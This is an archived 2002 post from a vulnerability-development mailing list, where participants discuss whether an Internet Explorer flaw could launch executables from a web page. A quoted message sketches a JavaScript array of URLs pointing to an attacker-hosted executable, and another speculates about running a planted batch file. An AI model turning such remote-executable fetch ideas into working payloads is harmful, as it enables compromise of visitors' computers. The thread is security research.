Vulnerability Development mailing list archives
RE: Rather large MSIE-hole
From: Keith Tyler <ktyler () unicornfinancial com>
Date: Thu, 14 Mar 2002 18:35:26 -0500
By default msie prompts to download or open file. I tested this out with iis and msie 5.5 and 5.0 -----Original Message----- From: KF [mailto:dotslash () snosoft com] Sent: Thursday, March 14, 2002 3:48 PM To: Subject: Re: Rather large MSIE-hole Another thought... will this bug run an executable from a web page? If so you could just make your own binary to do whatever you wanted. Like http://mysiteathome.com/malware.exe or something along those lines. I would HOPE that it asks to save the file to disk or even better ignore it all together. Maybe try something like: var programName=new Array( 'http://mysiteathome.com/ncx99.exe', 'http://someothersite.com/ncx99.exe', ); I would do this myself but I don't have any windows boxen to test. -KF Paul D. Campbell wrote:
Could you not create a batch file that housed the commands you wanted to run (with args) and just run the batch file? I apologise if someone has already addressed this. -EricYou would probably be able to do this. However, you would first need to place the batch file on the target machine. Then you would have to sit around and hope the user visits your malicious site. Though, if you have the capability to write to someone's harddrive you could do something much nastier than this :) Paul
Current thread:
- Re: Rather large MSIE-hole, (continued)
- Re: Rather large MSIE-hole Paul D. Campbell (Mar 14)
- Re: Rather large MSIE-hole KF (Mar 14)
- Re: Rather large MSIE-hole jon schatz (Mar 14)
- RE: Rather large MSIE-hole Chad Thunberg (Mar 15)
- Re: Rather large MSIE-hole Joerg Over (Mar 15)
- Re: Rather large MSIE-hole KF (Mar 14)
- Re: Rather large MSIE-hole Slow2Show (Mar 14)
- Re: Rather large MSIE-hole Slow2Show (Mar 14)
- RE: Rather large MSIE-hole John Swensson (Mar 14)
- Re: Rather large MSIE-hole NoCoNFLiC (Mar 15)
- Re: Rather large MSIE-hole The Blueberry (Mar 14)
- RE: Rather large MSIE-hole Keith Tyler (Mar 15)
- Re: Rather large MSIE-hole Slow2Show (Mar 15)
- RE: Rather large MSIE-hole Tiago Halm (Mar 16)
- Re: Rather large MSIE-hole Paul D. Campbell (Mar 14)